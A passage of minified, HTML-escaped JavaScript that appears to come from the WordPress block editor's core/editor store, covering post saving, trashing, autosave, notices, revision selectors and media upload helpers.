kue,toggleSpotlightMode:()=&gt;fue,toggleTopToolbar:()=&gt;mue,trashPost:()=&gt;Hce,undo:()=&gt;qce,unlockPostAutosaving:()=&gt;tue,unlockPostSaving:()=&gt;$ce,updateBlock:()=&gt;Sue,updateBlockAttributes:()=&gt;_ue,updateBlockListSettings:()=&gt;Zue,updateEditorSettings:()=&gt;oue,updatePost:()=&gt;Mce,updatePostLock:()=&gt;Kce});var fO=s(Xm(),1),bD=s(Qm(),1),ru=s(Yi(),1),Jm=s(Xe(),1),Ms=s(ct(),1),Tn=s(W(),1),tu=s($(),1),$m=s(mo(),1),Fr=s(lt(),1),Hr=s(E(),1);function dO(e,t){return`wp-autosave-block-editor-post-${t?&quot;auto-draft&quot;:e}`}function pD(e,t){return window.sessionStorage.getItem(dO(e,t))}function hD(e,t,r,o,n){window.sessionStorage.setItem(dO(e,t),JSON.stringify({post_title:r,content:o,excerpt:n}))}function $S(e,t){window.sessionStorage.removeItem(dO(e,t))}var ki=s(E(),1);function gD(e){let{previousPost:t,post:r,postType:o}=e;if(e.options?.isAutosave)return[];let n=[&quot;publish&quot;,&quot;private&quot;,&quot;future&quot;],i=n.includes(t.status),a=n.includes(r.status),l=r.status===&quot;trash&quot;&amp;&amp;t.status!==&quot;trash&quot;,c,u=o?.viewable??!1,d;l?(c=o.labels.item_trashed,u=!1):r.type===ur?(c=(0,ki.__)(&quot;Media updated.&quot;),u=!1):!i&amp;&amp;!a?(c=(0,ki.__)(&quot;Draft saved.&quot;),d=!0):i&amp;&amp;!a?(c=o.labels.item_reverted_to_draft,u=!1):!i&amp;&amp;a?c={publish:o.labels.item_published,private:o.labels.item_published_privately,future:o.labels.item_scheduled}[r.status]:c=o.labels.item_updated;let f=[];return u&amp;&amp;f.push({label:d?(0,ki.__)(&quot;View Preview&quot;):o.labels.view_item,url:r.link,openInNewTab:!0}),[c,{id:&quot;editor-save&quot;,type:&quot;snackbar&quot;,actions:f}]}function vD(e){let{post:t,edits:r,error:o}=e;if(o&amp;&amp;o.code===&quot;rest_autosave_no_changes&quot;)return[];let i=[&quot;publish&quot;,&quot;private&quot;,&quot;future&quot;].indexOf(t.status)!==-1;if(o.code===&quot;offline_error&quot;){let c={publish:(0,ki.__)(&quot;Publishing failed because you were offline. Please verify your connection and try again.&quot;),private:(0,ki.__)(&quot;Publishing failed because you were offline. Please verify your connection and try again.&quot;),future:(0,ki.__)(&quot;Scheduling failed because you were offline. Please verify your connection and try again.&quot;),default:(0,ki.__)(&quot;Updating failed because you were offline. Please verify your connection and try again.&quot;)};return[!i&amp;&amp;r.status in c?c[r.status]:c.default,{id:&quot;editor-save&quot;}]}let a={publish:(0,ki.__)(&quot;Publishing failed.&quot;),private:(0,ki.__)(&quot;Publishing failed.&quot;),future:(0,ki.__)(&quot;Scheduling failed.&quot;),default:(0,ki.__)(&quot;Updating failed.&quot;)},l=!i&amp;&amp;r.status in a?a[r.status]:a.default;return o.message&amp;&amp;!/&lt;\/?[^&gt;]*&gt;/.test(o.message)&amp;&amp;(l=[l,o.message].join(&quot; &quot;)),[l,{id:&quot;editor-save&quot;}]}function yD(e){return[e.error.message&amp;&amp;e.error.code!==&quot;unknown_error&quot;?e.error.message:(0,ki.__)(&quot;Trashing failed&quot;),{id:&quot;editor-trash-fail&quot;}]}var Fce=(e,t,r)=&gt;({dispatch:o})=&gt;{if(o.setEditedPost(e.type,e.id),e.status===&quot;auto-draft&quot;&amp;&amp;r){let i;&quot;content&quot;in t?i=t.content:i=e.content.raw;let a=(0,Jm.parse)(i);a=(0,Jm.synchronizeBlocksWithTemplate)(a,r),o.resetEditorBlocks(a,{__unstableShouldCreateUndoLevel:!1})}t&amp;&amp;Object.entries(t).some(([i,a])=&gt;a!==(e[i]?.raw??e[i]))&amp;&amp;o.editPost(t)};function Dce(){return(0,ru.default)(&quot;wp.data.dispatch( &#039;core/editor&#039; ).__experimentalTearDownEditor&quot;,{since:&quot;6.5&quot;}),{type:&quot;DO_NOTHING&quot;}}function Bce(){return(0,ru.default)(&quot;wp.data.dispatch( &#039;core/editor&#039; ).resetPost&quot;,{since:&quot;6.0&quot;,version:&quot;6.3&quot;,alternative:&quot;Initialize the editor with the setupEditorState action&quot;}),{type:&quot;DO_NOTHING&quot;}}function Mce(){return(0,ru.default)(&quot;wp.data.dispatch( &#039;core/editor&#039; ).updatePost&quot;,{since:&quot;5.7&quot;,alternative:&quot;Use the core entities store instead&quot;}),{type:&quot;DO_NOTHING&quot;}}function Lce(e){return(0,ru.default)(&quot;wp.data.dispatch( &#039;core/editor&#039; ).setupEditorState&quot;,{since:&quot;6.5&quot;,alternative:&quot;wp.data.dispatch( &#039;core/editor&#039; ).setEditedPost&quot;}),SD(e.type,e.id)}function SD(e,t){return{type:&quot;SET_EDITED_POST&quot;,postType:e,postId:t}}var Vce=(e,t)=&gt;({select:r,registry:o})=&gt;{let{id:n,type:i}=r.getCurrentPost();o.dispatch(Tn.store).editEntityRecord(&quot;postType&quot;,i,n,e,t)},jce=(e={})=&gt;async({select:t,dispatch:r,registry:o})=&gt;{if(!t.isEditedPostSaveable())return;let n=t.getEditedPostContent();e.isAutosave||r.editPost({content:n},{undoIgnore:!0});let i=t.getCurrentPost(),a={id:i.id,...o.select(Tn.store).getEntityRecordNonTransientEdits(&quot;postType&quot;,i.type,i.id),content:n};r({type:&quot;REQUEST_POST_UPDATE_START&quot;,options:e});let l=!1;try{a=await(0,$m.applyFiltersAsync)(&quot;editor.preSavePost&quot;,a,e)}catch(c){l=c}if(!l)try{await o.dispatch(Tn.store).saveEntityRecord(&quot;postType&quot;,i.type,a,e)}catch(c){l=c.message&amp;&amp;c.code!==&quot;unknown_error&quot;?c.message:(0,Hr.__)(&quot;An error occurred while updating.&quot;)}if(l||(l=o.select(Tn.store).getLastEntitySaveError(&quot;postType&quot;,i.type,i.id)),!l)try{await(0,$m.applyFilters)(&quot;editor.__unstableSavePost&quot;,Promise.resolve(),e)}catch(c){l=c}if(!l)try{await(0,$m.doActionAsync)(&quot;editor.savePost&quot;,{id:i.id,type:i.type},e)}catch(c){l=c}if(r({type:&quot;REQUEST_POST_UPDATE_FINISH&quot;,options:e}),typeof window&lt;&quot;u&quot;&amp;&amp;window.__experimentalTemplateActivate&amp;&amp;!e.isAutosave&amp;&amp;i.type===&quot;wp_template&quot;&amp;&amp;(typeof i.id==&quot;number&quot;||/^\d+$/.test(i.id))&amp;&amp;zce({select:t,dispatch:r,registry:o}),l){let c=vD({post:i,edits:a,error:l});c.length&amp;&amp;o.dispatch(Ms.store).createErrorNotice(...c)}else{let c=t.getCurrentPost(),u=gD({previousPost:i,post:c,postType:await o.resolveSelect(Tn.store).getPostType(c.type),options:e});u.length&amp;&amp;o.dispatch(Ms.store).createSuccessNotice(...u),e.isAutosave||o.dispatch(tu.store).__unstableMarkLastChangeAsPersistent()}};async function zce({select:e,registry:t}){if(e.getEditorSettings().onNavigateToPreviousEntityRecord)return;let{id:o,slug:n}=e.getCurrentPost();if((await t.select(Tn.store).getEntityRecord(&quot;root&quot;,&quot;site&quot;)).active_templates[n]===o)return;let l=(await t.resolveSelect(Tn.store).getCurrentTheme())?.default_template_types.find(c=&gt;c.slug===n);await t.dispatch(Ms.store).createNotice(&quot;info&quot;,(0,Hr.sprintf)((0,Hr.__)(&#039;Do you want to activate this &quot;%s&quot; template?&#039;),l?.title??n),{id:&quot;template-activate-notice&quot;,actions:[{label:(0,Hr.__)(&quot;Activate&quot;),onClick:async()=&gt;{await t.dispatch(Ms.store).createNotice(&quot;info&quot;,(0,Hr.__)(&quot;Activating template\u2026&quot;),{id:&quot;template-activate-notice&quot;});try{let c=await t.select(Tn.store).getEntityRecord(&quot;root&quot;,&quot;site&quot;);await t.dispatch(Tn.store).saveEntityRecord(&quot;root&quot;,&quot;site&quot;,{active_templates:{...c.active_templates,[n]:o}},{throwOnError:!0}),await t.dispatch(Ms.store).createSuccessNotice((0,Hr.__)(&quot;Template activated.&quot;),{id:&quot;template-activate-notice&quot;})}catch(c){throw await t.dispatch(Ms.store).createErrorNotice((0,Hr.__)(&quot;Template activation failed.&quot;),{id:&quot;template-activate-notice&quot;}),c}}}]})}function Uce(){return(0,ru.default)(&quot;wp.data.dispatch( &#039;core/editor&#039; ).refreshPost&quot;,{since:&quot;6.0&quot;,version:&quot;6.3&quot;,alternative:&quot;Use the core entities store instead&quot;}),{type:&quot;DO_NOTHING&quot;}}var Hce=()=&gt;async({select:e,dispatch:t,registry:r})=&gt;{let o=e.getCurrentPostType(),n=await r.resolveSelect(Tn.store).getPostType(o),{rest_base:i,rest_namespace:a=&quot;wp/v2&quot;}=n;t({type:&quot;REQUEST_POST_DELETE_START&quot;});try{let l=e.getCurrentPost();await(0,bD.default)({path:`/${a}/${i}/${l.id}`,method:&quot;DELETE&quot;}),await t.savePost()}catch(l){r.dispatch(Ms.store).createErrorNotice(...yD({error:l}))}t({type:&quot;REQUEST_POST_DELETE_FINISH&quot;})},Gce=({local:e=!1,...t}={})=&gt;async({select:r,dispatch:o})=&gt;{let n=r.getCurrentPost();if(e){let i=r.isEditedPostNew(),a=r.getEditedPostAttribute(&quot;title&quot;),l=r.getEditedPostAttribute(&quot;content&quot;),c=r.getEditedPostAttribute(&quot;excerpt&quot;);hD(n.id,i,a,l,c)}else await o.savePost({isAutosave:!0,...t})},Wce=({forceIsAutosaveable:e}={})=&gt;async({select:t,dispatch:r})=&gt;((e||t.isEditedPostAutosaveable())&amp;&amp;!t.isPostLocked()&amp;&amp;([&quot;draft&quot;,&quot;auto-draft&quot;].includes(t.getEditedPostAttribute(&quot;status&quot;))?await r.savePost({isPreview:!0}):await r.autosave({isPreview:!0})),t.getEditedPostPreviewLink()),Yce=()=&gt;({registry:e})=&gt;{e.dispatch(Tn.store).redo()},qce=()=&gt;({registry:e})=&gt;{e.dispatch(Tn.store).undo()};function Zce(){return(0,ru.default)(&quot;wp.data.dispatch( &#039;core/editor&#039; ).createUndoLevel&quot;,{since:&quot;6.0&quot;,version:&quot;6.3&quot;,alternative:&quot;Use the core entities store instead&quot;}),{type:&quot;DO_NOTHING&quot;}}function Kce(e){return{type:&quot;UPDATE_POST_LOCK&quot;,lock:e}}var Xce=()=&gt;({registry:e})=&gt;{e.dispatch(Fr.store).set(&quot;core&quot;,&quot;isPublishSidebarEnabled&quot;,!0)},Qce=()=&gt;({registry:e})=&gt;{e.dispatch(Fr.store).set(&quot;core&quot;,&quot;isPublishSidebarEnabled&quot;,!1)};function Jce(e){return{type:&quot;LOCK_POST_SAVING&quot;,lockName:e}}function $ce(e){return{type:&quot;UNLOCK_POST_SAVING&quot;,lockName:e}}function eue(e){return{type:&quot;LOCK_POST_AUTOSAVING&quot;,lockName:e}}function tue(e){return{type:&quot;UNLOCK_POST_AUTOSAVING&quot;,lockName:e}}var rue=(e,t={})=&gt;({select:r,dispatch:o,registry:n})=&gt;{let{__unstableShouldCreateUndoLevel:i,selection:a}=t,l={blocks:e,selection:a};if(i!==!1){let{id:c,type:u}=r.getCurrentPost();if(n.select(Tn.store).getEditedEntityRecord(&quot;postType&quot;,u,c).blocks===l.blocks){n.dispatch(Tn.store).__unstableCreateUndoLevel(&quot;postType&quot;,u,c);return}l.content=({blocks:f=[]})=&gt;(0,Jm.__unstableSerializeAndClean)(f)}o.editPost(l)};function oue(e){return{type:&quot;UPDATE_EDITOR_SETTINGS&quot;,settings:e}}var nue=e=&gt;({dispatch:t,registry:r,select:o})=&gt;{o.__unstableIsEditorReady()&amp;&amp;!o.getEditorSettings().isPreviewMode&amp;&amp;r.dispatch(tu.store).clearSelectedBlock(),t({type:&quot;SET_RENDERING_MODE&quot;,mode:e})};function iue(e){return{type:&quot;SET_DEVICE_TYPE&quot;,deviceType:e}}var sue=e=&gt;({registry:t})=&gt;{let r=t.select(Fr.store).get(&quot;core&quot;,&quot;inactivePanels&quot;)??[],o=!!r?.includes(e),n;o?n=r.filter(i=&gt;i!==e):n=[...r,e],t.dispatch(Fr.store).set(&quot;core&quot;,&quot;inactivePanels&quot;,n)},aue=e=&gt;({registry:t})=&gt;{let r=t.select(Fr.store).get(&quot;core&quot;,&quot;openPanels&quot;)??[],o=!!r?.includes(e),n;o?n=r.filter(i=&gt;i!==e):n=[...r,e],t.dispatch(Fr.store).set(&quot;core&quot;,&quot;openPanels&quot;,n)};function lue(e){return{type:&quot;REMOVE_PANEL&quot;,panelName:e}}var cue=e=&gt;({dispatch:t,registry:r})=&gt;{typeof e==&quot;object&quot;&amp;&amp;e.hasOwnProperty(&quot;rootClientId&quot;)&amp;&amp;e.hasOwnProperty(&quot;insertionIndex&quot;)&amp;&amp;N(r.dispatch(tu.store)).setInsertionPoint({rootClientId:e.rootClientId,index:e.insertionIndex}),t({type:&quot;SET_IS_INSERTER_OPENED&quot;,value:e})};function uue(e){return{type:&quot;SET_IS_LIST_VIEW_OPENED&quot;,isOpen:e}}var due=({createNotice:e=!0}={})=&gt;({dispatch:t,registry:r})=&gt;{let o=r.select(Fr.store).get(&quot;core&quot;,&quot;distractionFree&quot;);o&amp;&amp;r.dispatch(Fr.store).set(&quot;core&quot;,&quot;fixedToolbar&quot;,!1),o||r.batch(()=&gt;{r.dispatch(Fr.store).set(&quot;core&quot;,&quot;fixedToolbar&quot;,!0),t.setIsInserterOpened(!1),t.setIsListViewOpened(!1),N(r.dispatch(tu.store)).resetZoomLevel()}),r.batch(()=&gt;{r.dispatch(Fr.store).set(&quot;core&quot;,&quot;distractionFree&quot;,!o),e&amp;&amp;r.dispatch(Ms.store).createInfoNotice(o?(0,Hr.__)(&quot;Distraction free mode deactivated.&quot;):(0,Hr.__)(&quot;Distraction free mode activated.&quot;),{id:&quot;core/editor/distraction-free-mode/notice&quot;,type:&quot;snackbar&quot;,actions:[{label:(0,Hr.__)(&quot;Undo&quot;),onClick:()=&gt;{r.batch(()=&gt;{r.dispatch(Fr.store).set(&quot;core&quot;,&quot;fixedToolbar&quot;,o),r.dispatch(Fr.store).toggle(&quot;core&quot;,&quot;distractionFree&quot;)})}}]})})},fue=()=&gt;({registry:e})=&gt;{e.dispatch(Fr.store).toggle(&quot;core&quot;,&quot;focusMode&quot;);let t=e.select(Fr.store).get(&quot;core&quot;,&quot;focusMode&quot;);e.dispatch(Ms.store).createInfoNotice(t?(0,Hr.__)(&quot;Spotlight mode activated.&quot;):(0,Hr.__)(&quot;Spotlight mode deactivated.&quot;),{id:&quot;core/editor/toggle-spotlight-mode/notice&quot;,type:&quot;snackbar&quot;,actions:[{label:(0,Hr.__)(&quot;Undo&quot;),onClick:()=&gt;{e.dispatch(Fr.store).toggle(&quot;core&quot;,&quot;focusMode&quot;)}}]})},mue=()=&gt;({registry:e})=&gt;{e.dispatch(Fr.store).toggle(&quot;core&quot;,&quot;fixedToolbar&quot;);let t=e.select(Fr.store).get(&quot;core&quot;,&quot;fixedToolbar&quot;);e.dispatch(Ms.store).createInfoNotice(t?(0,Hr.__)(&quot;Top toolbar activated.&quot;):(0,Hr.__)(&quot;Top toolbar deactivated.&quot;),{id:&quot;core/editor/toggle-top-toolbar/notice&quot;,type:&quot;snackbar&quot;,actions:[{label:(0,Hr.__)(&quot;Undo&quot;),onClick:()=&gt;{e.dispatch(Fr.store).toggle(&quot;core&quot;,&quot;fixedToolbar&quot;)}}]})},pue=e=&gt;({dispatch:t,registry:r})=&gt;{r.dispatch(Fr.store).set(&quot;core&quot;,&quot;editorMode&quot;,e),e!==&quot;visual&quot;&amp;&amp;(r.dispatch(tu.store).clearSelectedBlock(),N(r.dispatch(tu.store)).resetZoomLevel()),e===&quot;visual&quot;?(0,fO.speak)((0,Hr.__)(&quot;Visual editor selected&quot;),&quot;assertive&quot;):e===&quot;text&quot;&amp;&amp;(r.select(Fr.store).get(&quot;core&quot;,&quot;distractionFree&quot;)&amp;&amp;t.toggleDistractionFree(),(0,fO.speak)((0,Hr.__)(&quot;Code editor selected&quot;),&quot;assertive&quot;))};function hue(){return{type:&quot;OPEN_PUBLISH_SIDEBAR&quot;}}function gue(){return{type:&quot;CLOSE_PUBLISH_SIDEBAR&quot;}}function vue(){return{type:&quot;TOGGLE_PUBLISH_SIDEBAR&quot;}}var bt=e=&gt;(...t)=&gt;({registry:r})=&gt;{(0,ru.default)(&quot;`wp.data.dispatch( &#039;core/editor&#039; ).&quot;+e+&quot;`&quot;,{since:&quot;5.3&quot;,alternative:&quot;`wp.data.dispatch( &#039;core/block-editor&#039; ).&quot;+e+&quot;`&quot;,version:&quot;6.2&quot;}),r.dispatch(tu.store)[e](...t)},yue=bt(&quot;resetBlocks&quot;),bue=bt(&quot;receiveBlocks&quot;),Sue=bt(&quot;updateBlock&quot;),_ue=bt(&quot;updateBlockAttributes&quot;),wue=bt(&quot;selectBlock&quot;),xue=bt(&quot;startMultiSelect&quot;),Cue=bt(&quot;stopMultiSelect&quot;),Tue=bt(&quot;multiSelect&quot;),Pue=bt(&quot;clearSelectedBlock&quot;),kue=bt(&quot;toggleSelection&quot;),Eue=bt(&quot;replaceBlocks&quot;),Rue=bt(&quot;replaceBlock&quot;),Aue=bt(&quot;moveBlocksDown&quot;),Oue=bt(&quot;moveBlocksUp&quot;),Iue=bt(&quot;moveBlockToPosition&quot;),Nue=bt(&quot;insertBlock&quot;),Fue=bt(&quot;insertBlocks&quot;),Due=bt(&quot;showInsertionPoint&quot;),Bue=bt(&quot;hideInsertionPoint&quot;),Mue=bt(&quot;setTemplateValidity&quot;),Lue=bt(&quot;synchronizeTemplate&quot;),Vue=bt(&quot;mergeBlocks&quot;),jue=bt(&quot;removeBlocks&quot;),zue=bt(&quot;removeBlock&quot;),Uue=bt(&quot;toggleBlockMode&quot;),Hue=bt(&quot;startTyping&quot;),Gue=bt(&quot;stopTyping&quot;),Wue=bt(&quot;enterFormattedText&quot;),Yue=bt(&quot;exitFormattedText&quot;),que=bt(&quot;insertDefaultBlock&quot;),Zue=bt(&quot;updateBlockListSettings&quot;);var t3={};Qc(t3,{createTemplate:()=&gt;swe,hideBlockTypes:()=&gt;lwe,registerEntityAction:()=&gt;J_e,registerEntityField:()=&gt;ewe,registerPostTypeSchema:()=&gt;nwe,removeTemplates:()=&gt;dwe,resetStylesNavigation:()=&gt;hwe,restoreRevision:()=&gt;Swe,revertTemplate:()=&gt;uwe,saveDirtyEntities:()=&gt;cwe,selectNote:()=&gt;_we,setCanvasMinHeight:()=&gt;gwe,setCurrentRevisionId:()=&gt;vwe,setCurrentTemplateId:()=&gt;iwe,setDefaultRenderingMode:()=&gt;fwe,setIsReady:()=&gt;rwe,setRevisionPage:()=&gt;ywe,setShowRevisionDiff:()=&gt;bwe,setShowStylebook:()=&gt;pwe,setStylesPath:()=&gt;mwe,showBlockTypes:()=&gt;awe,unregisterEntityAction:()=&gt;$_e,unregisterEntityField:()=&gt;twe});var Co=s(W(),1),st=s(E(),1),Dn=s(ct(),1),IG=s($(),1),Zf=s(lt(),1),NG=s(Ir(),1),FG=s(Qm(),1),Wx=s(Xe(),1),e3=s(ft(),1),Yx=s(po(),1);function e_(e){return e?e.source===k1.custom&amp;&amp;(!!e?.plugin||e?.has_theme_file):!1}var yO={};Qc(yO,{buildRevisionsPageQuery:()=&gt;qd,getCanvasMinHeight:()=&gt;fde,getCurrentRevision:()=&gt;vde,getCurrentRevisionId:()=&gt;vO,getDefaultRenderingMode:()=&gt;cde,getEntityActions:()=&gt;ide,getEntityFields:()=&gt;ade,getInserter:()=&gt;ede,getInserterSidebarToggleRef:()=&gt;rde,getListViewToggleRef:()=&gt;tde,getPageRevisions:()=&gt;pde,getPostBlocksByName:()=&gt;lde,getPostIcon:()=&gt;ode,getPreviousRevision:()=&gt;Sde,getRevisionPage:()=&gt;gO,getRevisionsPerPage:()=&gt;mde,getSelectedNote:()=&gt;yde,getShowStylebook:()=&gt;dde,getStylesPath:()=&gt;ude,hasPostMetaChanges:()=&gt;nde,isCollaborationEnabledForCurrentPost:()=&gt;_de,isEntityReady:()=&gt;sde,isNoteFocused:()=&gt;bde,isRevisionsMode:()=&gt;hde,isShowingRevisionDiff:()=&gt;gde});var MD=s(xD(),1),ty=s($(),1),Ei=s(O(),1);var Pn=s(W(),1),LD=s(lt(),1);var CD=[];function TD(e,t,r){return e.actions[t]?.[r]??CD}function PD(e,t,r){return e.fields[t]?.[r]??CD}function kD(e,t,r){return e.isReady[t]?.[r]}var t_,Kue=new Uint8Array(16);function pO(){if(!t_&amp;&amp;(t_=typeof crypto&lt;&quot;u&quot;&amp;&amp;crypto.getRandomValues&amp;&amp;crypto.getRandomValues.bind(crypto),!t_))throw new Error(&quot;crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported&quot;);return t_(Kue)}var Fo=[];for(let e=0;e&lt;256;++e)Fo.push((e+256).toString(16).slice(1));function ED(e,t=0){return Fo[e[t+0]]+Fo[e[t+1]]+Fo[e[t+2]]+Fo[e[t+3]]+&quot;-&quot;+Fo[e[t+4]]+Fo[e[t+5]]+&quot;-&quot;+Fo[e[t+6]]+Fo[e[t+7]]+&quot;-&quot;+Fo[e[t+8]]+Fo[e[t+9]]+&quot;-&quot;+Fo[e[t+10]]+Fo[e[t+11]]+Fo[e[t+12]]+Fo[e[t+13]]+Fo[e[t+14]]+Fo[e[t+15]]}var Xue=typeof crypto&lt;&quot;u&quot;&amp;&amp;crypto.randomUUID&amp;&amp;crypto.randomUUID.bind(crypto),hO={randomUUID:Xue};function Que(e,t,r){if(hO.randomUUID&amp;&amp;!t&amp;&amp;!e)return hO.randomUUID();e=e||{};let o=e.random||(e.rng||pO)();if(o[6]=o[6]&amp;15|64,o[8]=o[8]&amp;63|128,t){r=r||0;for(let n=0;n&lt;16;++n)t[r+n]=o[n];return t}return ED(o)}var ep=Que;var ey=s(O(),1),AD=s(W(),1),OD=s(Yd(),1);var Jue=()=&gt;{};function r_({additionalData:e={},allowedTypes:t,filesList:r,maxUploadFileSize:o,onError:n=Jue,onFileChange:i,onSuccess:a,multiple:l=!0}){let{receiveEntityRecords:c}=(0,ey.dispatch)(AD.store),{getCurrentPost:u,getEditorSettings:d}=(0,ey.select)(w),{lockPostAutosaving:f,unlockPostAutosaving:m,lockPostSaving:h,unlockPostSaving:g}=(0,ey.dispatch)(w),v=d().allowedMimeTypes,y=`image-upload-${ep()}`,b=!1;o=o||d().maxUploadFileSize;let _=u(),S=typeof _?.id==&quot;number&quot;?_.id:_?.wp_id,x=()=&gt;{window.__clientSideMediaProcessing||(h(y),f(y),b=!0)},T=S?{post:S}:{},R=()=&gt;{window.__clientSideMediaProcessing||(g(y),m(y),b=!1)};(0,OD.uploadMedia)({allowedTypes:t,filesList:r,onFileChange:F=&gt;{window.__clientSideMediaProcessing||(b?R():x()),i?.(F);let B=F.filter(z=&gt;z?.id);B?.length&amp;&amp;c(&quot;postType&quot;,&quot;attachment&quot;,B,void 0,!0)},onSuccess:a,additionalData:{...T,...e},maxUploadFileSize:o,onError:({message:F})=&gt;{window.__clientSideMediaProcessing||R(),n(F)},wpAllowedMimeTypes:v,multiple:l})}var ID=s(Ir(),1),ND=s(Yi(),1);function FD(e){return(0,ND.default)(&quot;wp.editor.cleanForSlug&quot;,{since:&quot;12.7&quot;,plugin:&quot;Gutenberg&quot;,alternative:&quot;wp.url.cleanForSlug&quot;}),(0,ID.cleanForSlug)(e)}var DD={rootClientId:void 0,insertionIndex:void 0,filterValue:void 0},$ue=[&quot;post-only&quot;,&quot;template-locked&quot;],ede=(0,Ei.createRegistrySelector)(e=&gt;(0,Ei.createSelector)(t=&gt;{if(typeof t.blockInserterPanel==&quot;object&quot;)return t.blockInserterPanel;if(JS(t)===&quot;template-locked&quot;){let{getBlocksByName:r,getSelectedBlockClientId:o,getBlockParents:n,getBlockOrder:i}=e(ty.store),[a]=r(&quot;core/post-content&quot;);if(a){let l=o();return l&amp;&amp;l!==a&amp;&amp;n(l).includes(a)?DD:{rootClientId:a,insertionIndex:i(a).length,filterValue:void 0}}}return DD},t=&gt;{let{getBlocksByName:r,getSelectedBlockClientId:o,getBlockParents:n,getBlockOrder:i}=e(ty.store),[a]=r(&quot;core/post-content&quot;),l=o();return[t.blockInserterPanel,JS(t),a,l,l?n(l):void 0,a?i(a).length:void 0]}));function tde(e){return e.listViewToggleRef}function rde(e){return e.inserterSidebarToggleRef}var BD={wp_block:Wv,wp_navigation:vA,page:qm,post:oO},ode=(0,Ei.createRegistrySelector)(e=&gt;(t,r,o)=&gt;{{if(r===&quot;wp_template_part&quot;||r===&quot;wp_template&quot;){let a=(e(Pn.store).getCurrentTheme()?.default_template_part_areas||[]).find(l=&gt;o.area===l.area);return a?.icon?$c(a.icon):Bs}if(BD[r])return BD[r];let n=e(Pn.store).getPostType(r);return typeof n?.icon==&quot;string&quot;&amp;&amp;n.icon.startsWith(&quot;dashicons-&quot;)?n.icon.slice(10):qm}}),nde=(0,Ei.createRegistrySelector)(e=&gt;(t,r,o)=&gt;{let{type:n,id:i}=$r(t),a=e(Pn.store).getEntityRecordNonTransientEdits(&quot;postType&quot;,r||n,o||i);if(!a?.meta)return!1;let l=e(Pn.store).getEntityRecord(&quot;postType&quot;,r||n,o||i)?.meta;return!(0,MD.default)({...l,footnotes:void 0},{...a.meta,footnotes:void 0})});function ide(e,...t){return TD(e.dataviews,...t)}function sde(e,...t){return kD(e.dataviews,...t)}function ade(e,...t){return PD(e.dataviews,...t)}var lde=(0,Ei.createRegistrySelector)(e=&gt;(0,Ei.createSelector)((t,r)=&gt;{r=Array.isArray(r)?r:[r];let{getBlocksByName:o,getBlockParents:n,getBlockName:i}=e(ty.store);return o(r).filter(a=&gt;n(a).every(l=&gt;{let c=i(l);return c!==&quot;core/query&quot;&amp;&amp;!r.includes(c)}))},(t,r)=&gt;{r=Array.isArray(r)?r:[r];let{getBlocksByName:o,getBlockParents:n}=e(ty.store),i=o(r),a=i.map(l=&gt;n(l));return[i,...a]})),cde=(0,Ei.createRegistrySelector)(e=&gt;(t,r)=&gt;{let{getPostType:o,getCurrentTheme:n,hasFinishedResolution:i}=e(Pn.store),a=n(),l=o(r);if(!i(&quot;getPostType&quot;,[r])||!i(&quot;getCurrentTheme&quot;))return;let c=a?.stylesheet,u=e(LD.store).get(&quot;core&quot;,&quot;renderingModes&quot;)?.[c]?.[r],d=Array.isArray(l?.supports?.editor)?l.supports.editor.find(m=&gt;&quot;default-mode&quot;in m)?.[&quot;default-mode&quot;]:void 0,f=u||d;return $ue.includes(f)?f:&quot;post-only&quot;});function ude(e){return e.stylesPath??&quot;/&quot;}function dde(e){return e.showStylebook??!1}function fde(e){return e.canvasMinHeight}function gO(e){return e.revisionPage}function qd(e,t){return{per_page:VD,page:t,context:&quot;edit&quot;,orderby:&quot;date&quot;,order:&quot;desc&quot;,_fields:[...new Set([&quot;id&quot;,&quot;date&quot;,&quot;modified&quot;,&quot;author&quot;,&quot;meta&quot;,&quot;title.raw&quot;,&quot;excerpt.raw&quot;,&quot;content.raw&quot;,e])].join()}}var VD=100;function mde(){return VD}var pde=(0,Ei.createRegistrySelector)(e=&gt;(t,r)=&gt;{if(!r)return null;let{type:o,id:n}=$r(t);if(!o||!n)return null;let a=e(Pn.store).getEntityConfig(&quot;postType&quot;,o)?.revisionKey||&quot;id&quot;;return e(Pn.store).getRevisions(&quot;postType&quot;,o,n,qd(a,r))});function hde(e){return e.revisionId!==null}function gde(e){return e.showRevisionDiff}function vO(e){return e.revisionId}var vde=(0,Ei.createRegistrySelector)(e=&gt;t=&gt;{let r=vO(t);if(!r)return;let o=gO(t);if(!o)return null;let{type:n,id:i}=$r(t),l=e(Pn.store).getEntityConfig(&quot;postType&quot;,n)?.revisionKey||&quot;id&quot;,c=e(Pn.store).getRevisions(&quot;postType&quot;,n,i,qd(l,o));return c?c.find(u=&gt;u[l]===r)??null:null});function yde(e){return e.selectedNote?.noteId}function bde(e){return!!e.selectedNote?.options?.focus}var Sde=(0,Ei.createRegistrySelector)(e=&gt;t=&gt;{let r=vO(t);if(!r)return;let o=gO(t);if(!o)return null;let{type:n,id:i}=$r(t),l=e(Pn.store).getEntityConfig(&quot;postType&quot;,n)?.revisionKey||&quot;id&quot;,c=qd(l,o),u=e(Pn.store).getRevisions(&quot;postType&quot;,n,i,c);if(!u)return null;let d=u.findIndex(h=&gt;h[l]===r);if(d&gt;=0&amp;&amp;d&lt;u.length-1)return u[d+1];let f=lO(t),m=Math.ceil(f/c.per_page)||1;return d===u.length-1&amp;&amp;o&lt;m?e(Pn.store).getRevisions(&quot;postType&quot;,n,i,qd(l,o+1))?.[0]??null:null}),_de=(0,Ei.createRegistrySelector)(e=&gt;t=&gt;{if(!N(e(Pn.store)).isCollaborationSupported())return!1;let r=Qn(t);return!!(e(Pn.store).getEntityConfig(&quot;postType&quot;,r)?.syncConfig&amp;&amp;window._wpCollaborationEnabled)});var Gx=s(W(),1),OG=s(mo(),1);var QD=s(E(),1);var kn=s(A(),1);var s_=s(he(),1),WD=s(O(),1),tp=s(D(),1),YD=s(ct(),1),qD=s(Ir(),1),Zd=s(E(),1);var GD=s(Ir(),1);var o_=s(ft(),1),zD=s(E(),1);function UD(e){return e.type===&quot;wp_template&quot;}function HD(e){return e.type===&quot;wp_template_part&quot;}function Rl(e){return e.type===&quot;wp_template&quot;||e.type===&quot;wp_template_part&quot;}function He(e,t=(0,zD.__)(&quot;(no title)&quot;)){let r=&quot;&quot;;return typeof e.title==&quot;string&quot;?r=(0,o_.decodeEntities)(e.title):e.title&amp;&amp;&quot;rendered&quot;in e.title?r=(0,o_.decodeEntities)(e.title.rendered):e.title&amp;&amp;&quot;raw&quot;in e.title&amp;&amp;(r=(0,o_.decodeEntities)(e.title.raw)),r||t}function n_(e){return 